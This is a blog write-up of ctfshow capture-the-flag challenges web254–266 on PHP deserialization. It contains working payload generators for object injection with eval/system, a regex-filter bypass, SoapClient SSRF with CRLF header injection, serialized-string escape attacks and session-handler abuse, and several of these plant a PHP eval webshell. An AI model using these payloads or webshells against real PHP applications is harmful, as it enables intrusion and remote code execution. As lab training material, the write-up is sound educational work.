# 前言
本篇记录反序列化的学习,有关知识点可以看我的这篇文章 php 反序列化 - Web | Clown の Blog = (xcu.icu)
# web254
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include('flag.php'); | |
class ctfShowUser{ | |
public $username='xxxxxx'; | |
public $password='xxxxxx'; | |
public $isVip=false; | |
public function checkVip(){ | |
return $this->isVip; | |
} | |
public function login($u,$p){ | |
if($this->username===$u&&$this->password===$p){ | |
$this->isVip=true; | |
} | |
return $this->isVip; | |
} | |
public function vipOneKeyGetFlag(){ | |
if($this->isVip){ | |
global $flag; | |
echo "your flag is ".$flag; | |
}else{ | |
echo "no vip, no flag"; | |
} | |
} | |
} | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
if(isset($username) && isset($password)){ | |
$user = new ctfShowUser(); | |
if($user->login($username,$password)){ | |
if($user->checkVip()){ | |
$user->vipOneKeyGetFlag(); | |
} | |
}else{ | |
echo "no vip,no flag"; | |
} | |
} |
这题 emmm 感觉不想是反序列化啊,就审计一下
?username=xxxxxx&password=xxxxxx |
这里简单说一下逻辑,先看下面,$username 和 $password 先接受 get 的参数,然后 if 判断差数是否存在,如果存在就实例化类 ctfshowUser,然后调用类中的 login 方法判断用户名和密码是否正确正确给 $isVip 赋值为 ture,接着调用 checkVip 函数检测上一步有没有通过(有点怪),最后调用 vipOneKeyGetFlag 函数输出 flag(因为后面的题是这个的改动,所以这个稍微写的详细一点)
# web255
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include('flag.php'); | |
class ctfShowUser{ | |
public $username='xxxxxx'; | |
public $password='xxxxxx'; | |
public $isVip=false; | |
public function checkVip(){ | |
return $this->isVip; | |
} | |
public function login($u,$p){ | |
return $this->username===$u&&$this->password===$p; | |
} | |
public function vipOneKeyGetFlag(){ | |
if($this->isVip){ | |
global $flag; | |
echo "your flag is ".$flag; | |
}else{ | |
echo "no vip, no flag"; | |
} | |
} | |
} | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
if(isset($username) && isset($password)){ | |
$user = unserialize($_COOKIE['user']); | |
if($user->login($username,$password)){ | |
if($user->checkVip()){ | |
$user->vipOneKeyGetFlag(); | |
} | |
}else{ | |
echo "no vip,no flag"; | |
} | |
} |
这里多了一个 cookie 被反序列化很明显了,利用这个给 isvip 赋值就可以了
<?php | |
class ctfShowUser{ | |
public $username='xxxxxx'; | |
public $password='xxxxxx'; | |
public $isVip=true; | |
} | |
$a = new ctfShowUser(); | |
echo urlencode(serialize($a)); |
# web256
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include('flag.php'); | |
class ctfShowUser{ | |
public $username='xxxxxx'; | |
public $password='xxxxxx'; | |
public $isVip=false; | |
public function checkVip(){ | |
return $this->isVip; | |
} | |
public function login($u,$p){ | |
return $this->username===$u&&$this->password===$p; | |
} | |
public function vipOneKeyGetFlag(){ | |
if($this->isVip){ | |
global $flag; | |
if($this->username!==$this->password){ | |
echo "your flag is ".$flag; | |
} | |
}else{ | |
echo "no vip, no flag"; | |
} | |
} | |
} | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
if(isset($username) && isset($password)){ | |
$user = unserialize($_COOKIE['user']); | |
if($user->login($username,$password)){ | |
if($user->checkVip()){ | |
$user->vipOneKeyGetFlag(); | |
} | |
}else{ | |
echo "no vip,no flag"; | |
} | |
} |
这里有加上了一条 username 和 pasword 的不同
简单改一下上一题的 payload 就可以直接用
<?php | |
class ctfShowUser{ | |
public $username='demo'; | |
public $password='xxxxxx'; | |
public $isVip=true; | |
} | |
$a = new ctfShowUser(); | |
echo urlencode(serialize($a)); | |
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22demo%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D |
# web257
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
class ctfShowUser{ | |
private $username='xxxxxx'; | |
private $password='xxxxxx'; | |
private $isVip=false; | |
private $class = 'info'; | |
public function __construct(){ | |
$this->class=new info(); | |
} | |
public function login($u,$p){ | |
return $this->username===$u&&$this->password===$p; | |
} | |
public function __destruct(){ | |
$this->class->getInfo(); | |
} | |
} | |
class info{ | |
private $user='xxxxxx'; | |
public function getInfo(){ | |
return $this->user; | |
} | |
} | |
class backDoor{ | |
private $code; | |
public function getInfo(){ | |
eval($this->code); | |
} | |
} | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
if(isset($username) && isset($password)){ | |
$user = unserialize($_COOKIE['user']); | |
$user->login($username,$password); | |
} |
这里的利用思路是在 ctfShowUser 里有一个__destruct 的方法会在对象销毁的时候会自动调用函数 getInfo (),而在 backDoor 类中也有这个方法,而且会执行 eval 函数,这里我们需要覆盖这个__construct 方法
<?php | |
class ctfShowUser{ | |
public function __construct(){ | |
$this->class=new backDoor(); | |
} | |
} | |
class backDoor{ | |
private $code="system('cat flag.php');"; | |
} | |
$a=new ctfShowUser(); | |
echo serialize($a); | |
echo "\n"; | |
echo urlencode(serialize($a)); | |
/* | |
O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:14:" backDoor code";s:23:"system('cat flag.php');";}} | |
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D | |
*/ |
# web258
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
class ctfShowUser{ | |
public $username='xxxxxx'; | |
public $password='xxxxxx'; | |
public $isVip=false; | |
public $class = 'info'; | |
public function __construct(){ | |
$this->class=new info(); | |
} | |
public function login($u,$p){ | |
return $this->username===$u&&$this->password===$p; | |
} | |
public function __destruct(){ | |
$this->class->getInfo(); | |
} | |
} | |
class info{ | |
public $user='xxxxxx'; | |
public function getInfo(){ | |
return $this->user; | |
} | |
} | |
class backDoor{ | |
public $code; | |
public function getInfo(){ | |
eval($this->code); | |
} | |
} | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
if(isset($username) && isset($password)){ | |
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ | |
$user = unserialize($_COOKIE['user']); | |
} | |
$user->login($username,$password); | |
} |
这个题比起上面加上了过滤
/[oc]:\d+:/i`。意思是过滤这两种情况:`o:数字:`与`c:数字:
加上一个 + 绕过即可
<?php | |
class ctfShowUser{ | |
public function __construct(){ | |
$this->class=new backDoor(); | |
} | |
} | |
class backDoor{ | |
public $code="system('cat flag.php');"; | |
} | |
$a=new ctfShowUser(); | |
$a=serialize($a); | |
//echo "\n"; | |
$a = str_replace('O:','O:+',$a); | |
//echo "\n"; | |
echo urlencode($a); | |
//O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D |
# web259-SocapClient
<?php | |
highlight_file(__FILE__); | |
$vip = unserialize($_GET['vip']); | |
//vip can get flag one key | |
$vip->getFlag(); |
这里就一个反序列化,然后就调用 getflag 函数,可以想到是原生类的使用,__call () 函数,是当调用未知函数时自动触发,而在 SocapClient 原生类中会有 call 函数可以进行 SSRF
这里给的的 flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); | |
array_pop($xff); | |
$ip = array_pop($xff); | |
if($ip!=='127.0.0.1'){ | |
die('error'); | |
}else{ | |
$token = $_POST['token']; | |
if($token=='ctfshow'){ | |
file_put_contents('flag.txt',$flag); | |
} | |
} |
这里限制了 ip 为 127.0.0.1
$_SERVER ['HTTP_X_FORWARDED_FOR'] 要 array_pop 两次,取第二次的值赋值给 $IP,post 传入的 token 如果 ===ctfshow 就会把 $flag 的值写入 flag.txt 里面
<?php | |
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; | |
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua)); | |
echo urlencode(serialize($client)); | |
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A132%3A%22kradress%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D |
访问 flag.txt 查看 flag
# web260
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include('flag.php'); | |
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ | |
echo $flag; | |
} |
看到题我还懵了一下,属实没想到,上一题还在 SSRF,下一题又随便传个参就过了
# web261
<?php | |
highlight_file(__FILE__); | |
class ctfshowvip{ | |
public $username; | |
public $password; | |
public $code; | |
public function __construct($u,$p){ | |
$this->username=$u; | |
$this->password=$p; | |
} | |
public function __wakeup(){ | |
if($this->username!='' || $this->password!=''){ | |
die('error'); | |
} | |
} | |
public function __invoke(){ | |
eval($this->code); | |
} | |
public function __sleep(){ | |
$this->username=''; | |
$this->password=''; | |
} | |
public function __unserialize($data){ | |
$this->username=$data['username']; | |
$this->password=$data['password']; | |
$this->code = $this->username.$this->password; | |
} | |
public function __destruct(){ | |
if($this->code==0x36d){ | |
file_put_contents($this->username, $this->password); | |
} | |
} | |
} | |
unserialize($_GET['vip']); |
这一题稍微有点意思,但不多,首先简单说一下上面用到几个方法
__construct():构造函数,类实例化时自动调用 | |
__invoke():调用函数的方式调用一个对象时的回应方法 | |
__wakeu():反序列化后自动调用 | |
__sleep():序列化时会自动调用 | |
__unserialize():在unserialize函数执行前会先检查有无此函数,如果又,优先级最高 | |
__destruct():在类的一个对象被删除时自动调用 |
整个程序执行时,先进__unserialize 函数,但是在__unserialize 函数中没有能够进入__invoke 函数的方法,这里只能通过在对象被删除时制动调用__destruct 来写文件,故这里只需要满足 code 为 0x36d=877 即可
<?php | |
class ctfshowvip{ | |
public $username="877.php"; | |
public $password='<?php eval($_POST[1]);'; | |
public $code=0x36d; | |
} | |
$a =new ctfshowvip(); | |
echo serialize($a)."\n"; | |
echo urlencode(serialize($a)); |
这里写入一个文件,用蚁剑连接
# web262
index.php
<?php | |
error_reporting(0); | |
class message{ | |
public $from; | |
public $msg; | |
public $to; | |
public $token='user'; | |
public function __construct($f,$m,$t){ | |
$this->from = $f; | |
$this->msg = $m; | |
$this->to = $t; | |
} | |
} | |
$f = $_GET['f']; | |
$m = $_GET['m']; | |
$t = $_GET['t']; | |
if(isset($f) && isset($m) && isset($t)){ | |
$msg = new message($f,$m,$t); | |
$umsg = str_replace('fuck', 'loveU', serialize($msg)); | |
setcookie('msg',base64_encode($umsg)); | |
echo 'Your message has been sent'; | |
} | |
highlight_file(__FILE__); |
message.php
<?php | |
highlight_file(__FILE__); | |
include('flag.php'); | |
class message{ | |
public $from; | |
public $msg; | |
public $to; | |
public $token='user'; | |
public function __construct($f,$m,$t){ | |
$this->from = $f; | |
$this->msg = $m; | |
$this->to = $t; | |
} | |
} | |
if(isset($_COOKIE['msg'])){ | |
$msg = unserialize(base64_decode($_COOKIE['msg'])); | |
if($msg->token=='admin'){ | |
echo $flag; | |
} | |
} |
有替换很明显,考察字符串逃逸,这里先简单说一下什么是字符串逃逸
# 反序列化字符串逃逸
# 增加
这个点在我上面的文章中没有说到,当时没想起来还有这个点,这个知识点也不麻烦,就简单的说明一下
php 序列化后的格式是固定的
<?php | |
class demo{ | |
public $username = "admin"; | |
public $passwd="test"; | |
} | |
$a = new demo(); | |
echo $b = serialize($a)."\n"; | |
var_dump(unserialize($b)); | |
var_dump(unserialize("O:4:\"demo\":2:{s:8:\"username\";s:5:\"admin\";s:6:\"passwd\";s:4:\"test\";}aaaaaaaaaaaaaaaaaaaaaaaa")); | |
var_dump(unserialize("O:4:\"demo\":2:{s:8:\"username123\";s:5:\"admin\";s:6:\"passwd\";s:4:\"test\";}")); | |
?> |
这里把下面的 username 加上了 123,这里长度与前面的 8 不对应就报错,后面加上的 aaaaaaaa 不影响反序列化的结果
为什么上面说有替换猜测是字符串逃逸呢?
这里假如我需要更改 passwd 为 admin,不去改动 $passwd 怎么做到呢?
<?php | |
class demo{ | |
public $username = "fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck\";s:6:\"passwd\";s:5:\"admin\";}"; | |
public $passwd="test"; | |
} | |
$a = new demo(); | |
echo $b = serialize($a)."\n"; | |
echo $c= str_replace('fuck', 'loveU',$b)."\n"; | |
var_dump(unserialize($c)); | |
?> |
看上面的结果,这里 passwd 已经被改为了 admin,很简单的逻辑,在前一个变量后面添加上 ";s:6:"passwd";s:5:"admin";}, 这是我们构造的 passwd 预取为 admin 的序列化后的结果,通过
str_replace('fuck', 'loveU',$b)."\n"; |
这一句会讲 fuck 替换为 loveU,每有一个 fuck 就会使得前一个变量的长度加一,当我们长度等于我们构造的 ";s:6:"passwd";s:5:"admin";},这里就会顶替掉原有的";s:6:"passwd";s:4:"test";}
# 减少
原理还是跟增加得到一样,不过是我们构造的字符添加的位置不同
<?php | |
class demo{ | |
public $username = "fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck"; | |
public $passwd="test"; | |
} | |
$a = new demo(); | |
echo $b = serialize($a); | |
$c= str_replace('fuck', 'you',$b)."\n"; | |
echo $c; | |
$d=$c."\";s:6:\"passwd\";s:5:\"admin\";}"; | |
echo $d."\n"; | |
var_dump(unserialize($d)); | |
echo strlen("youyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyou\";s:6:\"passwd\";s:5:\"admin\";}"); |
现在做这个就简单了
<?php | |
class message{ | |
public $from; | |
public $msg; | |
public $to; | |
public $token='admin'; | |
public function __construct($f,$m,$t){ | |
$this->from = $f; | |
$this->msg = $m; | |
$this->to = $t; | |
} | |
} | |
$f = "1"; | |
$m = "1"; | |
$t = "1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck\";s:5:\"token\";s:5:\"admin\";}"; | |
$a = new message($f,$m,$t); | |
echo serialize($a)."\n"; | |
echo base64_encode(str_replace('fuck', 'loveU',serialize($a)))."\n"; | |
echo urlencode(serialize($a))."\n"; | |
echo strlen("1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU"); | |
/* | |
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";} | |
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiMSI7czozOiJtc2ciO3M6MToiMSI7czoyOiJ0byI7czoxMzY6IjFsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVUiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30= | |
O%3A7%3A%22message%22%3A4%3A%7Bs%3A4%3A%22from%22%3Bs%3A1%3A%221%22%3Bs%3A3%3A%22msg%22%3Bs%3A1%3A%221%22%3Bs%3A2%3A%22to%22%3Bs%3A136%3A%221fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22admin%22%3B%7D%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22admin%22%3B%7D | |
136 | |
*/ |
# web263
这题考察的是 Session 反序列化,扫描目录能拿到 www.zip 文件
首先是 index.php 文件
<?php | |
error_reporting(0); | |
session_start(); | |
// 超过 5 次禁止登陆 | |
if (isset($_SESSION['limit'])) { | |
$_SESSION['limti'] > 5 ? die("登陆失败次数超过限制") : $_SESSION['limit'] = base64_decode($_COOKIE['limit']); | |
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) + 1); | |
} else { | |
setcookie("limit", base64_encode('1')); | |
$_SESSION['limit'] = 1; | |
} |
$_SESSION['limit']=base64_decode($_COOKIE['limit'])
来控制 session 的值
在 inc.php 文件中,首先这里把 session.serialize_handler 设置为了 php, 和 index.php 不一致,可以利用来进行反序列化
<?php | |
error_reporting(0); | |
ini_set('display_errors', 0); | |
ini_set('session.serialize_handler', 'php'); | |
date_default_timezone_set("Asia/Shanghai"); | |
session_start(); | |
use \CTFSHOW\CTFSHOW; | |
require_once 'CTFSHOW.php'; | |
$db = new CTFSHOW([ | |
'database_type' => 'mysql', | |
'database_name' => 'web', | |
'server' => 'localhost', | |
'username' => 'root', | |
'password' => 'root', | |
'charset' => 'utf8', | |
'port' => 3306, | |
'prefix' => '', | |
'option' => [ | |
PDO::ATTR_CASE => PDO::CASE_NATURAL | |
] | |
]); | |
//sql 注入检查 | |
function checkForm($str){ | |
if(!isset($str)){ | |
return true; | |
}else{ | |
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str); | |
} | |
} | |
class User{ | |
public $username; | |
public $password; | |
public $status; | |
function __construct($username,$password){ | |
$this->username = $username; | |
$this->password = $password; | |
} | |
function setStatus($s){ | |
$this->status=$s; | |
} | |
function __destruct(){ | |
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); | |
} | |
} | |
/* 生成唯一标志 | |
* 标准的 UUID 格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx (8-4-4-4-12) | |
*/ | |
function uuid() | |
{ | |
$chars = md5(uniqid(mt_rand(), true)); | |
$uuid = substr ( $chars, 0, 8 ) . '-' | |
. substr ( $chars, 8, 4 ) . '-' | |
. substr ( $chars, 12, 4 ) . '-' | |
. substr ( $chars, 16, 4 ) . '-' | |
. substr ( $chars, 20, 12 ); | |
return $uuid ; | |
} |
这里可以反序列化后可以写文件
<?php | |
class User{ | |
public $username='2.php'; | |
public $password = '<?php phpinfo();eval($_POST[1]);?>'; | |
} | |
$a=new User(); | |
echo base64_encode("|".serialize($a)); | |
//fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIyLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWzFdKTs/PiI7fQ== |
然后访问一下 check.php
最后访问 log-2.php
# web264
index.php
<?php | |
error_reporting(0); | |
session_start(); | |
class message{ | |
public $from; | |
public $msg; | |
public $to; | |
public $token='user'; | |
public function __construct($f,$m,$t){ | |
$this->from = $f; | |
$this->msg = $m; | |
$this->to = $t; | |
} | |
} | |
$f = $_GET['f']; | |
$m = $_GET['m']; | |
$t = $_GET['t']; | |
if(isset($f) && isset($m) && isset($t)){ | |
$msg = new message($f,$m,$t); | |
$umsg = str_replace('fuck', 'loveU', serialize($msg)); | |
$_SESSION['msg']=base64_encode($umsg); | |
echo 'Your message has been sent'; | |
} | |
highlight_file(__FILE__); |
message.php
<?php | |
session_start(); | |
highlight_file(__FILE__); | |
include('flag.php'); | |
class message{ | |
public $from; | |
public $msg; | |
public $to; | |
public $token='user'; | |
public function __construct($f,$m,$t){ | |
$this->from = $f; | |
$this->msg = $m; | |
$this->to = $t; | |
} | |
} | |
if(isset($_COOKIE['msg'])){ | |
$msg = unserialize(base64_decode($_SESSION['msg'])); | |
if($msg->token=='admin'){ | |
echo $flag; | |
} | |
} |
看了半天才反应过来,这里少了一个 setcookie ('msg',base64_encode ($umsg));,做法稍微有一点改动
首先在首页将 payload 传入,payload 为什么是这样的详看 262,这里访问后会有一个 session,带着这个 session 访问 message 即可
还得加上 msg
# web265
<?php | |
error_reporting(0); | |
include('flag.php'); | |
highlight_file(__FILE__); | |
class ctfshowAdmin{ | |
public $token; | |
public $password; | |
public function __construct($t,$p){ | |
$this->token=$t; | |
$this->password = $p; | |
} | |
public function login(){ | |
return $this->token===$this->password; | |
} | |
} | |
$ctfshow = unserialize($_GET['ctfshow']); | |
$ctfshow->token=md5(mt_rand()); | |
if($ctfshow->login()){ | |
echo $flag; | |
} |
在本题中,token 的值在最后会改变,这里修改 passwd 的值为 token 的引用即可
<?php | |
class ctfshowAdmin{ | |
public $token; | |
public $password; | |
public function __construct(){ | |
$this->password = &$this->token; | |
} | |
} | |
$a = new ctfshowAdmin(); | |
echo urlencode(serialize($a)); |
# web266
<?php | |
highlight_file(__FILE__); | |
include('flag.php'); | |
$cs = file_get_contents('php://input'); | |
class ctfshow{ | |
public $username='xxxxxx'; | |
public $password='xxxxxx'; | |
public function __construct($u,$p){ | |
$this->username=$u; | |
$this->password=$p; | |
} | |
public function login(){ | |
return $this->username===$this->password; | |
} | |
public function __toString(){ | |
return $this->username; | |
} | |
public function __destruct(){ | |
global $flag; | |
echo $flag; | |
} | |
} | |
$ctfshowo=@unserialize($cs); | |
if(preg_match('/ctfshow/', $cs)){ | |
throw new Exception("Error $ctfshowo",1); | |
} |
这个题换了一种传参的方式,file_get_contents ('php://input');,通过使用伪协议读取 post 数据,然后又利用了一个大小写不敏感
pyaload:
<?php | |
class ctfshow{ | |
} | |
$a = new ctfshow(); | |
echo serialize($a); |
后面的跟前面的区别稍微有点大,另起一篇做一个简单的总结